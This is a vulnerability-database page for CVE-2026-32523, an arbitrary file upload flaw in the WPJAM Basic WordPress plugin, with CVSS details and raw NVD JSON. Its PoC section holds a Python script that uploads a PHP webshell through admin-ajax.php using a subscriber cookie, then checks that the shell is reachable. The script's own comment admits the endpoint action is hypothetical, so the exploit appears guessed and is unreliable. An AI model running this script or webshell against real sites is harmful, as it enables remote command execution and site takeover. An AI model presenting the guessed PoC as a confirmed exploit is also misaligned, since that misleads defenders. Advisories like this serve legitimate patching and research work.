Security Vulnerability Report
中文
CVE-2026-32523 CVSS 9.9 CRITICAL

CVE-2026-32523

Published: 2026-03-25 17:17:05
Last Modified: 2026-04-24 16:35:20

Description

Unrestricted Upload of File with Dangerous Type vulnerability in denishua WPJAM Basic wpjam-basic allows Using Malicious Files.This issue affects WPJAM Basic: from n/a through <= 6.9.2.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WPJAM Basic <= 6.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-32523 PoC Generator for WPJAM Basic def exploit(target_url, cookie): """ Attempts to upload a malicious PHP file via the vulnerable endpoint. """ upload_url = f"{target_url}/wp-admin/admin-ajax.php" # The malicious payload (PHP webshell) payload = "<?php system($_GET['cmd']); ?>" # Data to be sent in the POST request files = { 'file': ('exploit.php', payload, 'application/octet-stream') } data = { 'action': 'wpjam_upload_action', # Hypothetical action based on typical WP plugin structure 'nonce': 'valid_nonce_if_required' } headers = { 'User-Agent': 'Mozilla/5.0 (PoC-Scanner)' } try: response = requests.post(upload_url, files=files, data=data, cookies=cookie, headers=headers) if response.status_code == 200: print("[+] File upload request sent successfully.") print(f"[+] Response: {response.text[:200]}") # Check if the file is accessible check_url = f"{target_url}/wp-content/uploads/exploit.php" check = requests.get(check_url) if check.status_code == 200: print(f"[+] Exploit successful! Shell accessible at: {check_url}") else: print("[-] File uploaded but not accessible.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Cookie string for a low-privilege user (e.g., subscriber) user_cookie = {"wordpress_logged_in_12345": "user_session_token"} exploit(target, user_cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32523", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:17:05.237", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in denishua WPJAM Basic wpjam-basic allows Using Malicious Files.This issue affects WPJAM Basic: from n/a through <= 6.9.2."}, {"lang": "es", "value": "Vulnerabilidad de carga sin restricciones de archivo con tipo peligroso en denishua WPJAM Basic wpjam-basic permite el uso de archivos maliciosos. Este problema afecta a WPJAM Basic: desde n/a hasta &lt;= 6.9.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpjam-basic/vulnerability/wordpress-wpjam-basic-plugin-6-9-2-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}